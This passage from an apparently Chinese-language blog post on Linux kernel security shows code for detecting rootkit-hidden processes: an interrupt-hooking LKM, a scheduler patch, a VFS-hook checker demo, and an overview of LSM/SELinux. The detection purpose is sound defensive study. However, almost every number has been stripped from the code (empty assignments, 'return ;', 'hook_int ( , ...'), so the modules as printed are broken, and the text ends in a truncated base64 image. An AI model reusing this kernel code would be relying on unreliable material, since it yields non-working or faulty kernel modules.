}
task_p = task_p->next_task ;
} while ( task_p != &init_task ) ;
if ( find_task_by_pid(task->pid) == task )
on_ph = ;
if ( ! on_ll || ! on_ph || ! task->pid )
printk ( "[SHT] task pid %i <%s> task addr 0x%x syscall %i - TASK IS HIDDEN ( %s / %s / %s )\n" , task->pid , task->comm , task , regs->orig_eax , on_ll ? \
"on linked list" : "NOT ON LINKED LIST" , on_ph ? "on pidhash list" : "NOT ON PIDHASH LIST" , task->pid ? "pid is valid" : "PID IS INVALID" ) ;
return ;
} int sht_init ( void ) {
hook_int ( , (unsigned long) &stub_func , &old_handler ) ;
printk("[SHT] loaded - monitoring tasks integrity\n") ;
return ;
} void sht_exit ( void ) {
hook_int ( , old_handler , NULL ) ;
printk("[SHT] unloaded\n") ;
return ;
} module_init(sht_init) ;
module_exit(sht_exit) ; MODULE_AUTHOR("ubra / PHI Group") ;
MODULE_DESCRIPTION("sht - search hidden tasks v1.0.0") ;
MODULE_LICENSE("GPL") ;
EXPORT_NO_SYMBOLS ;
Makefile
all: sht.c hp.c
gcc -c -I/EDIT_HERE_YOUR_LINUX_SOURCE_TREE/linux/include sht.c hp.c
sh.patch
--- linux-2.4./kernel/sched_orig.c -- ::22.000000000 +
+++ linux-2.4./kernel/sched.c -- ::16.000000000 +
@@ -, +, @@
__schedule_tail(prev);
} +asmlinkage void phi_sht_check_task(struct task_struct *prev, struct task_struct *next)
+{
+ struct task_struct *task_p = &init_task;
+ unsigned char on_ll = , on_ph = ;
+
+ do {
+ if(task_p == prev) {
+ on_ll = ;
+ break;
+ }
+ task_p = task_p->next_task ;
+ } while(task_p != &init_task);
+ if (find_task_by_pid(prev->pid) == prev)
+ on_ph = ;
+ if (!on_ll || !on_ph || !prev->pid)
+ printk("[SHT] task pid %i <%s> task addr 0x%x ( next task pid %i <%s> next task addr 0x%x ) - TASK IS HIDDEN ( %s / %s / %s )\n", prev->pid, prev->comm, prev, next->pid, \
next->comm, next, on_ll ? "on linked list" : "NOT ON LINKED LIST", on_ph ? "on pidhash list" : "NOT ON PIDHASH LIST", prev->pid ? "pid is valid" : "PID IS INVALID");
+ return;
+}
+
/*
* 'schedule()' is the scheduler function. It's a very simple and nice
* scheduler: it's not perfect, but certainly works for most things.
@@ -634,6 +653,13 @@
task_set_cpu(next, this_cpu);
spin_unlock_irq(&runqueue_lock); + /*
+ * check task`s structures before we do any scheduling decision
+ * skip any kernel thread which might yeld false positives
+ */
+ if(prev->mm)
+ phi_sht_check_task(prev, next);
+
if (unlikely(prev == next)) {
/* We won't go through the normal tail, so do this by hand */
prev->policy &= ~SCHED_YIELD;
0x3: 对抗VFS HOOK进程隐藏检测
不论是在Linux、window下,进程隐藏的检测技术的核心思想都是类似的
. 确定用户态枚举列表的数据来源
. 在内核态确定另一个更底层的表示进程列表的数据结构(常常是链表)
. 对比两者比较的结果,确定是否发生隐藏行为
process_list.c
#include <linux/module.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/stat.h>
#include <linux/version.h> #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 24)
#define ITERATE_NAME readdir
#define READ_PROC_PROTO char *buffer, char **start, off_t off,int count, int *eof, void *data
#else
#define ITERATE_NAME iterate
#define READ_PROC_PROTO struct file* file, char* buffer, size_t count, loff_t* offset
#endif static struct file_operations proc_file_ops; static unsigned short int read_flag; void *get_vfs_readdir ( const char *path )
{
void *ret;
struct file *filep; if ( (filep = filp_open(path, O_RDONLY, )) == NULL )
return NULL;
if(!IS_ERR(filep))
{
if ((ret = filep->f_op->ITERATE_NAME)==NULL)
return NULL;
filp_close(filep, );
return ret;
}
else{
return ;
}
} int read_proc(READ_PROC_PROTO)
{
int len=;
struct task_struct *task_list;
char path[]="\0"; if(read_flag)
read_flag = ;
else
{
read_flag = ;
return ;
}
len += sprintf(buffer+len, "\t\t\tRootkit Checker Demo\n\t\t\tbeta v0.1 [only vfs hook rootkit]\tby xti9er\n");
for_each_process(task_list)
{
strcpy(path,"/proc/");
sprintf(path,"%s%d",path,task_list->pid);
len += sprintf(buffer+len, "[%d] %s",task_list->pid,task_list->comm);
printk("[%d] %s",task_list->pid,task_list->comm); if(get_vfs_readdir(path))
{
len += sprintf(buffer+len, "\n");
printk("\n");
}
else{
len += sprintf(buffer+len, "\t[may be hiddened by vfs_readdir hook]\n");
printk("\t[maybe hiddened by vfs_readdir hook]\n");
}
} return len;
} int functn_init (void) { #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 24)
create_proc_read_entry("ps_list",,NULL,read_proc,NULL);
#else
proc_create("ps_list",,NULL,&proc_file_ops);
proc_file_ops.read=read_proc;
#endif read_flag = ;
return ;
} void functn_cleanup(void) {
remove_proc_entry("ps_list",NULL);
} MODULE_LICENSE("GPL");
module_init(functn_init);
module_exit(functn_cleanup);
Relevant Link:
http://phrack.org/issues/63/18.html
http://files.cnblogs.com/LittleHann/HiddenProcesses.ppt
http://security.tencent.com/index.php/opensource/detail/16
4. LSM框架(Linux Security Module)于LKM安全
LSM框架自身并不提供任何安全策略,它只是为安全模型提供了一致性接口。它使得各种不同的安全模型以内核模块的方式得到实现,而且不需改动内核源代码以及重新编译内核。目前基于LSM框架实现的最主要的安全模块主要有
. SELinux(安全增强型Linux)
SELinux模型的安全体系结构被称为Flask体系,它是基于动态策略配置的MAC(强制访问控制)子系统,能够支持较细粒度的权限管理,在Linux .6内核中是以模块形式出现。
SELinux 由三部分组成:
) 安全服务器
安全服务器为获得安全策略的决策判定提供通用接口,使其余部分保持安全策略的独立性
) 访问向量缓存
访问向量缓存(AVC)
提供了从安全服务器获得的访问策略决策结果的缓冲区,以减少性能开销
) 对象管理器
对象管理器集成在内核的各个子系统,如进程管理子系统,文件子系统,它从安全服务器或者访问向量缓存AVC中获得安全策略判定结果,然后应用这些判定结果给进程和对象的安全标记赋值,最后根据这些安全标记控制系统上的各
种操作 . LIDS(Linux 入侵检测系统)
. POSIX 1e Capabilities
. DTE(域和类安全增强)
aaarticlea/png;base64,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